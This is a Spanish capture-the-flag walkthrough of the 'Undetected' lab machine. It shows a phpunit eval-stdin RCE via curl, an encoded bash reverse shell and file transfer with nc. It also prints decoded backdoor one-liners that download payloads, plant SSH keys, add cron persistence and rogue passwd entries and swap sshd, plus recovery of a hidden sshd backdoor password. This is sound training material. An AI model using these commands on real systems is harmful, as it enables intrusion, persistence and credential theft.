Undetected
12 minutos de lectura
- SO: Linux
- Dificultad: Media
- Dirección IP: 10.10.11.146
- Fecha: 19 / 02 / 2022
Escaneo de puertos
# Nmap 7.92 scan initiated as: nmap -sC -sV -o nmap/targeted 10.10.11.146 -p 22,80
Nmap scan report for 10.10.11.146
Host is up (0.034s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2 (protocol 2.0)
| ssh-hostkey:
| 3072 be:66:06:dd:20:77:ef:98:7f:6e:73:4a:98:a5:d8:f0 (RSA)
| 256 1f:a2:09:72:70:68:f4:58:ed:1f:6c:49:7d:e2:13:39 (ECDSA)
|_ 256 70:15:39:94:c2:cd:64:cb:b2:3b:d1:3e:f6:09:44:e8 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Diana's Jewelry
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done -- 1 IP address (1 host up) scanned in 15.22 seconds
La máquina tiene abiertos los puertos 22 (SSH) y 80 (HTTP).
Enumeración web
Si vamos a http://10.10.11.146
veremos una página web como esta:
Si pinchamos en “VISIT STORE”, se nos redirige a http://store.djewelry.htb
. Después de poner el subdominio en /etc/hosts
veremos la siguiente página:
Pero nada interesante. Vamos a aplicar fuzzing para enumerar más rutas:
$ ffuf -w $WORDLISTS/dirbuster/directory-list-2.3-medium.txt -u http://store.djewelry.htb/FUZZ
images [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 93ms]
css [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 129ms]
js [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 225ms]
vendor [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 126ms]
fonts [Status: 301, Size: 324, Words: 20, Lines: 10, Duration: 108ms]
[Status: 200, Size: 6215, Words: 528, Lines: 196, Duration: 184ms]
server-status [Status: 403, Size: 283, Words: 20, Lines: 10, Duration: 94ms]
Existe una ruta /vendor
:
Este directorio muestra las dependencias del proyecto web. Existe una vulnerabilidad para phpunit
que deriva en ejecución remota de comandos (RCE). Su explotación se muestra en blog.ovhcloud.com (CVE-2017-9841), y se puede realizar simplemente con curl
:
$ curl -d '<?php system("whoami");' store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
www-data
Intrusión en la máquina
Perfecto, vamos a obtener una reverse shell en la máquina con un comando en Bash codificado en Base64:
$ echo -n 'bash -i >& /dev/tcp/10.10.17.44/4444 0>&1' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx
$ curl -d '<?php system("echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTcuNDQvNDQ0NCAwPiYx | base64 -d | bash");' store.djewelry.htb/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
$ nc -nlvp 4444
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:46572.
bash: cannot set terminal process group (934): Inappropriate ioctl for device
bash: no job control in this shell
www-data@production:/var/www/store/vendor/phpunit/phpunit/src/Util/PHP$ cd /
cd /
www-data@production:/$ script /dev/null -c bash
script /dev/null -c bash
Script started, file is /dev/null
www-data@production:/$ ^Z
zsh: suspended ncat -nlvp 4444
$ stty raw -echo; fg
[1] + continued ncat -nlvp 4444
reset xterm
www-data@production:/$ export TERM=xterm
www-data@production:/$ export SHELL=bash
www-data@production:/$ stty rows 50 columns 158
Enumeración del sistema
Lo primero que notamos es que hay otro usuario llamado steven
:
www-data@production:/$ ls /home
steven
Lo que es extraño es que hay un usuario llamado steven1
en /etc/passwd
, y con el mismo ID de usuario (1000):
www-data@production:/$ grep sh$ /etc/passwd
root:x:0:0:root:/root:/bin/bash
steven:x:1000:1000:Steven Wright:/home/steven:/bin/bash
steven1:x:1000:1000:,,,:/home/steven:/bin/bash
Esto es muy raro, ¿no? Vamos a mirar a qué archivos podemos acceder como www-data
:
www-data@production:/$ find / -user www-data -type f 2>/dev/null | grep -vE 'proc|www'
/var/backups/info
Tenemos /var/backups/info
:
www-data@production:/$ ls -l /var/backups/info
-r-x------ 1 www-data www-data 27296 May 14 2021 /var/backups/info
Podemos leer y ejecutar el archivo. Se trata de un binario ELF de 64 bits:
www-data@production:/$ file /var/backups/info
/var/backups/info: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=0dc004db7476356e9ed477835e583c68f1d2493a, for GNU/Linux 3.2.0, not stripped
Si ejecutamos el binario, vemos que es un exploit de kernel, pero parece que no funciona:
www-data@production:/$ /var/backups/info
[.] starting
[.] namespace sandbox set up
[.] KASLR bypass enabled, getting kernel addr
[-] substring 'ffff' not found in dmesg
Podemos empezar a pensar que la máquina ha sido comprometida anteriormente.
Como strings
no está instalado en la máquina, vamos a transferir el binario a nuestra máquina usando nc
:
www-data@production:/$ nc 10.10.14.62 4444 < /var/backups/info
^C
www-data@production:/$ md5sum /var/backups/info
04060ea986c7bacdc64130a1d7b8ca2d /var/backups/info
$ nc -nlvp 4444 > info
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:40972.
$ md5sum info
04060ea986c7bacdc64130a1d7b8ca2d info
Una vez que hemos comprobado la integridad del archivo, podemos ejecutar strings
y ver una cadena de texto larga:
$ strings -100 info
776765742074656d7066696c65732e78797a2f617574686f72697a65645f6b657973202d4f202f726f6f742f2e7373682f617574686f72697a65645f6b6579733b20776765742074656d7066696c65732e78797a2f2e6d61696e202d4f202f7661722f6c69622f2e6d61696e3b2063686d6f6420373535202f7661722f6c69622f2e6d61696e3b206563686f20222a2033202a202a202a20726f6f74202f7661722f6c69622f2e6d61696e22203e3e202f6574632f63726f6e7461623b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122313a5c24365c247a5337796b4866464d673361596874345c2431495572685a616e5275445a6866316f49646e6f4f76586f6f6c4b6d6c77626b656742586b2e567447673738654c3757424d364f724e7447625a784b427450753855666d39684d30522f424c6441436f513054396e2f3a31383831333a303a39393939393a373a3a3a203e3e202f6574632f736861646f7722297d27202f6574632f7061737377643b2061776b202d46223a2220272437203d3d20222f62696e2f6261736822202626202433203e3d2031303030207b73797374656d28226563686f2022243122202224332220222436222022243722203e2075736572732e74787422297d27202f6574632f7061737377643b207768696c652072656164202d7220757365722067726f757020686f6d65207368656c6c205f3b20646f206563686f202224757365722231223a783a2467726f75703a2467726f75703a2c2c2c3a24686f6d653a247368656c6c22203e3e202f6574632f7061737377643b20646f6e65203c2075736572732e7478743b20726d2075736572732e7478743b
Parece que está codificada en hexadecimal (solo hay números y letras de la a
a la f
). Vamos a decodificar con xxd
:
$ strings -100 info | xxd -r -p
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys; wget tempfiles.xyz/.main -O /var/lib/.main; chmod 755 /var/lib/.main; echo "* 3 * * * root /var/lib/.main" >> /etc/crontab; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd; awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd; while read -r user group home shell _; do echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd; done < users.txt; rm users.txt;
Se trata de un comando de consola en un “one-liner” . Si lo formateamos, tenemos lo siguiente:
wget tempfiles.xyz/authorized_keys -O /root/.ssh/authorized_keys
wget tempfiles.xyz/.main -O /var/lib/.main
chmod 755 /var/lib/.main
echo "* 3 * * * root /var/lib/.main" >> /etc/crontab
awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1"1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7::: >> /etc/shadow")}' /etc/passwd
awk -F":" '$7 == "/bin/bash" && $3 >= 1000 {system("echo "$1" "$3" "$6" "$7" > users.txt")}' /etc/passwd
while read -r user group home shell _; do
echo "$user"1":x:$group:$group:,,,:$home:$shell" >> /etc/passwd
done < users.txt
rm users.txt
Primero, se descarga un archivo llamado .main
, lo guarda en var/lib/.main
y lo configura para que se ejecute cada minuto entre las 03:00 y las 03:59 (es lo que * 3 * * *
significa, se puede comprobar en crontab.cronhub.io). Aunque /etc/crontab
tiene esta configuración:
www-data@production:/$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
* 3 * * * root /var/lib/.main
El archivo /var/lib/.main
no existe:
steven@production:~$ ls -l /var/lib/.main
ls: cannot access '/var/lib/.main': No such file or directory
Movimiento lateral a steven
Por tanto, vamos a seguir analizando el “one-liner”. Luego, añade el hash de una contraseña en /etc/passwd
, poniendo como nombre de usuario "$user"1
. Esta claro que se refiere a steven1
. Vamos a romper este hash con john
:
$ echo "steven1:\$6\$zS7ykHfFMg3aYht4\$1IUrhZanRuDZhf1oIdnoOvXoolKmlwbkegBXk.VtGg78eL7WBM6OrNtGbZxKBtPu8Ufm9hM0R/BLdACoQ0T9n/:18813:0:99999:7:::" > hash
$ john --wordlist=$WORDLISTS/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 128/128 ASIMD 2x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
ihatehackers (steven1)
1g 0:00:01:32 DONE 0.01078g/s 961.2p/s 961.2c/s 961.2C/s iloveyoudaddy..halo03
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Con esta contraseña, podemos acceder como steven1
por SSH:
$ ssh steven1@10.10.11.146
steven1@10.10.11.146's password:
steven@production:~$ id
uid=1000(steven) gid=1000(steven) groups=1000(steven)
steven@production:~$ cat user.txt
61bbcee605d3d4f5a4deef36b75c8126
Sorprendentemente, somos steven
(no steven1
). Esto ocurre porque ambos usuarios tienen el mismo ID de usuario. Ahora que tenemos la flag user.txt
, vamos a seguir enumerando.
Enumeración del servicio Apache
Este usuario tiene un correo en /var/mail/steven
:
steven@production:~$ find / -user steven 2>/dev/null | grep -vE 'proc|sys|run'
/dev/pts/0
/var/mail/steven
/home/steven
/home/steven/.cache
/home/steven/.cache/motd.legal-displayed
/home/steven/.bashrc
/home/steven/user.txt
/home/steven/.profile
/home/steven/.local
/home/steven/.local/share
/home/steven/.local/share/nano
/home/steven/.ssh
/home/steven/.bash_logout
/home/steven/.bash_history
steven@production:~$ cat /var/mail/steven
From root@production Sun, 25 Jul 2021 10:31:12 GMT
Return-Path: <root@production>
Received: from production (localhost [127.0.0.1])
by production (8.15.2/8.15.2/Debian-18) with ESMTP id 80FAcdZ171847
for <steven@production>; Sun, 25 Jul 2021 10:31:12 GMT
Received: (from root@localhost)
by production (8.15.2/8.15.2/Submit) id 80FAcdZ171847;
Sun, 25 Jul 2021 10:31:12 GMT
Date: Sun, 25 Jul 2021 10:31:12 GMT
Message-Id: <202107251031.80FAcdZ171847@production>
To: steven@production
From: root@production
Subject: Investigations
Hi Steven.
We recently updated the system but are still experiencing some strange behavior with the Apache service.
We have temporarily moved the web store and database to another server whilst investigations are underway.
If for any reason you need access to the database or web application code, get in touch with Mark and he
will generate a temporary password for you to authenticate to the temporary server.
Thanks,
sysadmin
Dice que el servicio Apache está raro. A lo mejor el binario /var/backups/info
tiene algo que ver. Vamos a coger la fecha de la última modificación de este archivo:
steven@production:~$ ls -l /var/backups/info
-r-x------ 1 www-data www-data 27296 May 14 2021 /var/backups/info
Y ahora podemos buscar archivos de Apache alrededor de esta fecha, a lo mejor la hipótesis es cierta y el servidor está comprometido:
steven@production:~$ find / -newermt '2021-05-10' ! -newermt '2021-05-20' 2>/dev/null | grep apache
/usr/lib/apache2/modules/mod_reader.so
/etc/apache2/mods-available/reader.load
/etc/apache2/mods-enabled/reader.load
Siguiendo estos archivos, llegamos a otro binario ELF de 64 bits:
steven@production:~$ file /etc/apache2/mods-enabled/reader.load
/etc/apache2/mods-enabled/reader.load: symbolic link to ../mods-available/reader.load
steven@production:~$ file /etc/apache2/mods-available/reader.load
/etc/apache2/mods-available/reader.load: ASCII text
steven@production:~$ cat /etc/apache2/mods-enabled/reader.load
LoadModule reader_module /usr/lib/apache2/modules/mod_reader.so
steven@production:~$ file /usr/lib/apache2/modules/mod_reader.so
/usr/lib/apache2/modules/mod_reader.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, BuildID[sha1]=e26fdc45e4b6561d29af8306c2be74f35ab140bb, with debug_info, not stripped
Esto es un módulo cargado en Apache (a lo mejor es una puerta trasera). De nuevo lo transferimos a nuestra con nc
:
steven@production:~$ nc 10.10.14.62 4444 < /usr/lib/apache2/modules/mod_reader.so
^C
steven@production:~$ md5sum /usr/lib/apache2/modules/mod_reader.so
5ef63371b6a138253a87aa1f79abf199 /usr/lib/apache2/modules/mod_reader.so
$ nc -nlvp 4444 > mod_reader.so
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:44820.
$ md5sum mod_reader.so
5ef63371b6a138253a87aa1f79abf199 mod_reader.so
De nuevo, con strings
aparece una cadena de texto larga. Esta vez parece que está codificada en Base64 porque solamente hay números y letras (tanto minúsculas como mayúsculas):
$ strings -120 mod_reader.so
d2dldCBzaGFyZWZpbGVzLnh5ei9pbWFnZS5qcGVnIC1PIC91c3Ivc2Jpbi9zc2hkOyB0b3VjaCAtZCBgZGF0ZSArJVktJW0tJWQgLXIgL3Vzci9zYmluL2EyZW5tb2RgIC91c3Ivc2Jpbi9zc2hk
$ strings -120 mod_reader.so | base64 -d
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd; touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
Y hay otro “one-liner”, pero más simple:
wget sharefiles.xyz/image.jpeg -O /usr/sbin/sshd
touch -d `date +%Y-%m-%d -r /usr/sbin/a2enmod` /usr/sbin/sshd
Esta vez, se está descargando un archivo llamado image.jpeg
y sobrescribe /usr/sbin/sshd
(evidentemente, no es una imagen JPEG). Después, modifica la fecha de /usr/sbin/sshd
para pasar desapercibido.
Genial, vamos a transferir /usr/sbin/sshd
a nuestra máquina para analizarlo:
steven@production:~$ nc 10.10.14.62 4444 < /usr/sbin/sshd
^C
steven@production:~$ md5sum /usr/sbin/sshd
9ae629656c6f72dc957358b1f41df27e /usr/sbin/sshd
$ nc -nlvp 4444 > sshd
Ncat: Version 7.92 ( https://nmap.org/ncat )
Ncat: Listening on :::4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.10.11.146.
Ncat: Connection from 10.10.11.146:44820.
^C
$ md5sum sshd
9ae629656c6f72dc957358b1f41df27e sshd
Analizando sshd
(ingeniería inversa)
Podemos abrir el archivo en Ghidra y mirar sus funciones. Como se trata de un programa que corre como demonio o daemon (de ahí la d
de sshd
), el programa exporta funciones que serán usadas por otros programas como ssh
.
Por tanto, tenemos que mirar en las funciones exportadas. Una de ellas es auth_password
, la cual huele bastante porque hay una variable llamada backdoor
(el binario mantiene los nombres de los símbolos en este caso):
int auth_password(ssh *ssh, char *password) {
Authctxt *ctxt;
passwd *ppVar1;
int iVar2;
uint uVar3;
byte *pbVar4;
byte *pbVar5;
size_t sVar6;
byte bVar7;
int iVar8;
long in_FS_OFFSET;
char backdoor[31];
byte local_39[9];
long local_30;
bVar7 = 0xd6;
ctxt = (Authctxt *) ssh->authctxt;
local_30 = *(long *) (in_FS_OFFSET + 0x28);
backdoor._28_2_ = 0xa9f4;
ppVar1 = ctxt->pw;
iVar8 = ctxt->valid;
backdoor._24_4_ = 0xbcf0b5e3;
backdoor._16_8_ = 0xb2d6f4a0fda0b3d6;
backdoor[30] = -0x5b;
backdoor._0_4_ = 0xf0e7abd6;
backdoor._4_4_ = 0xa4b3a3f3;
backdoor._8_4_ = 0xf7bbfdc8;
backdoor._12_4_ = 0xfdb3d6e7;
pbVar4 = (byte *) backdoor;
while(true) {
pbVar5 = pbVar4 + 1;
*pbVar4 = bVar7 ^ 0x96;
if (pbVar5 == local_39) break;
bVar7 = *pbVar5;
pbVar4 = pbVar5;
}
iVar2 = strcmp(password, backdoor);
uVar3 = 1;
if (iVar2 != 0) {
sVar6 = strlen(password);
uVar3 = 0;
if (sVar6 < 0x401) {
if ((ppVar1->pw_uid == 0) && (options.permit_root_login != 3)) {
iVar8 = 0;
}
if ((*password != '\0') || (uVar3 = options.permit_empty_passwd, options.permit_empty_passwd != 0)) {
if (auth_password::expire_checked == 0) {
auth_password::expire_checked = 1;
iVar2 = auth_shadow_pwexpired(ctxt);
if (iVar2 != 0) {
ctxt->force_pwchange = 1;
}
}
iVar2 = sys_auth_passwd(ssh, password);
if (ctxt->force_pwchange != 0) {
auth_restrict_session(ssh);
}
uVar3 = (uint) (iVar2 != 0 && iVar8 != 0);
}
}
}
if (local_30 == *(long *) (in_FS_OFFSET + 0x28)) {
return uVar3;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Aunque Ghidra hace algo raro con backdoor
, podemos deducir que es una cadena de caracteres (char[31]
). Podemos juntar todas las piezas para construir la string, teniendo en cuenta que _0_4_
significa índice 0
y 4
bytes de longitud. Además, los números en hexadecimales tienen que ser formateados en little-endian para transformarlos a bytes.
Hay un número -0x5b
que tiene que ponerse en positivo porque tiene que ser un código ASCII válido (entre 0 y 255), es decir entre 0x00
y 0xff
. Tenemos que calcular el complemento a dos, que es lo mismo que negar el número (en positivo) y sumar 1: ~(0x5b) + 1 = 0xa4 + 1 = 0xa5
.
Podemos usar funciones de empaquetado de pwntools
para empaquetar los números en función del tamaño del número (esto es, p64
, p32
, p16
or p8
).
Vemos una instrucción strcmp(password, backdoor)
que parece que compara la contraseña proporcionada en ssh
con la variable backdoor
en la que estamos trabajando. Sin embargo, antes de realizar la comparación, existe una operación criptográfica sobre backdoor
.
El bucle while
está realizando una operación XOR sobre cada carácter de backdoor
con 0x96
como clave. Para descifrar el cifrado XOR, se debe realizar otra operación XOR entre el texto cifrado y la misma clave usada para cifrar, o sea 0x96
.
Escalada de privilegios
Y ya tenemos todo para obtener la contraseña esperada. Podemos usar Python y pwntools
para obtener la contraseña:
$ python -q
>>> from pwn import p8, p16, p32, p64
>>> backdoor = p32(0xf0e7abd6)
>>> backdoor += p32(0xa4b3a3f3)
>>> backdoor += p32(0xf7bbfdc8)
>>> backdoor += p32(0xfdb3d6e7)
>>> backdoor += p64(0xb2d6f4a0fda0b3d6)
>>> backdoor += p32(0xbcf0b5e3)
>>> backdoor += p16(0xa9f4)
>>> backdoor += p8(0xa5)
>>> ''.join(map(lambda b: chr(b ^ 0x96), backdoor))
'@=qfe5%2^k-aq@%k@%6k6b@$u#f*b?3'
Aunque no tiene significado la contraseña, si la usamos para el usuario root
, podremos acceder por SSH. Además, podemos confirmar que la máquina estaba ya comprometida porque los cibercriminales tenían acceso como root
por SSH:
$ ssh root@10.10.11.146
root@10.10.11.146's password:
root@production:~# cat root.txt
3afbb2e3f9d6f2329f00f41711a94cd8